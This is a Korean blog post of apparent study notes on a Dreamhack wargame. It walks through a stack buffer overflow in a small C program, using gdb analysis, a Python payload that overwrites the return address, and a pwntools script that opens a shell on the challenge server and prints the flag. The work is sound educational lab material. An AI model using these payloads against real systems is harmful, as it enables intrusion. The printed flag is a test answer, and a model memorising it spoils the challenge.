티스토리 뷰

예제

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

A를 여러개 입력했을 때, Segmentation fault라는 에러가 출력되며, 프로그램이 비정상적으로 종료된다.

-> 프로그램이 잘못된 메모리 주소에 접근했다는 의미이며, 프로그램에 버그가 발생했다는 신호이다.

 

$ ulimit -c unlimited

로 코어 파일 크기 제한을 해제할 수 있다.

 

$ gdb rao -c core.1828876

로 코어 파일을 열 수 있다.

 

익스플로잇

스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 한다.

pwndbg> nearpc
   0x400706             call   printf@plt 

   0x40070b             lea    rax, [rbp - 0x30]
   0x40070f             mov    rsi, rax
   0x400712             lea    rdi, [rip + 0xab]
   0x400719             mov    eax, 0
 ► 0x40071e             call   __isoc99_scanf@plt <__isoc99_scanf @plt>
        format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
        vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4:       "%s"__isoc99_scanf

scanf("%s", (rbp-0x30)); // scanf() 함수의 의사 코드

 

 

이 예제에서는 셸을 실행해주는 get_shell() 함수가 있기 때문에 이 함수의 주소로 main 함수의 반환 주소를 덮어 셀을 획득할 수 있다.

$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit

이를 통해 get_shell() 의 주소가 0x4006aa 임을 확인할 수 있다.

 

페이로드 구성

 시스템 해킹에서 페이로드는 공격을 위해 프로그램에 전달하는 데이터를 의미한다. 

페이로드
페이로드에 의해 오염되는 스택 프레임

 

 

엔디언 적용

구성한 페이로드는 적절한 엔디언(Endian)을 적용해서 프로그램에 전달해야한다. 엔디언은 메모리에서 데이터가 정렬되는 방식으로 주로 리틀 엔디언(Little-Endian, LE)과 빅 엔디언(Big-Endian, BE)이 사용된다.

 

리틀 엔디언에서는 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장되고, 빅 엔디언에서는 데이터의 MSB가 가장 낮은 주소에 저장된다.

 

익스플로잇

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)

성공적으로 셸을 획득할 수 있다.

 

rao

입력 함수(패턴) 위험도 평가 근거
gets(buf) 매우 위험
  • 입력받는 길이에 제한이 없음.
  • 버퍼의 널 종결을 보장하지 않음: 입력의 끝에 널바이트를 삽입하므로, 버퍼를 꽉채우면 널바이트로 종결되지 않음. 이후 문자열 관련 함수를 사용할 때 버그가 발생하기 쉬움.
scanf(“%s”, buf) 매우 위험
  • 입력받는 길이에 제한이 없음.
  • 버퍼의 널 종결을 보장하지 않음: gets와 동일.
scanf(“%[width]s”, buf) 주의 필요
  • width만큼만 입력받음: width를 설정할 때 width <= size(buf) - 1을 만족하지 않으면, 오버플로우가 발생할 수 있음.
  • 버퍼의 널 종결을 보장하지 않음: gets와 동일.
     
fgets(buf, len, stream) 주의 필요
  • len만큼만 입력받음: len을 설정할 때 len <= size(buf)을 만족하지 않으면, 오버플로우가 발생할 수 있음.
  • 버퍼의 널 종결을 보장함.
    • len보다 적게 입력하면, 입력의 끝에 널바이트 삽입.
    • len만큼 입력하면, 입력의 마지막 바이트를 버리고 널바이트 삽입.
  • 데이터 유실 주의: 버퍼에 담아야 할 데이터가 30바이트인데, 버퍼의 크기와 len을 30으로 작성하면, 29바이트만 저장되고, 마지막 바이트는 유실됨

워게임

~$ vi exploit.py
from pwn import *

p = remote(" host3.dreamhack.games", 20225)

payload = b"A"*0x30
payload += b"B"*0x8
payload += b"\xaa\x06\x40\x00\x00\x00\x00\x00"

p.recvuntil('Input: ')

p.sendline(payload)
p.interactive()
~$ python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 20225: Done
/home/seyun/exploit.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil('Input: ')
[*] Switching to interactive mode
$ ls
flag
rao
run.sh
$ cat flag
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
[*] Got EOF while reading in interactive

 

 

 

 

 

 

 

 

 

 

 

'System Hacking' 카테고리의 다른 글

[Dreamhack] Return to Library  (0) 2024.04.08
[드림핵] Shellcode  (0) 2024.02.27
helloworld.c 디스어셈블리  (0) 2024.02.25
[드림핵] Tool Installation_gdb, pwntools  (0) 2024.02.25
[프로젝트] 악성코드 - 웜  (0) 2024.02.24
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
글 보관함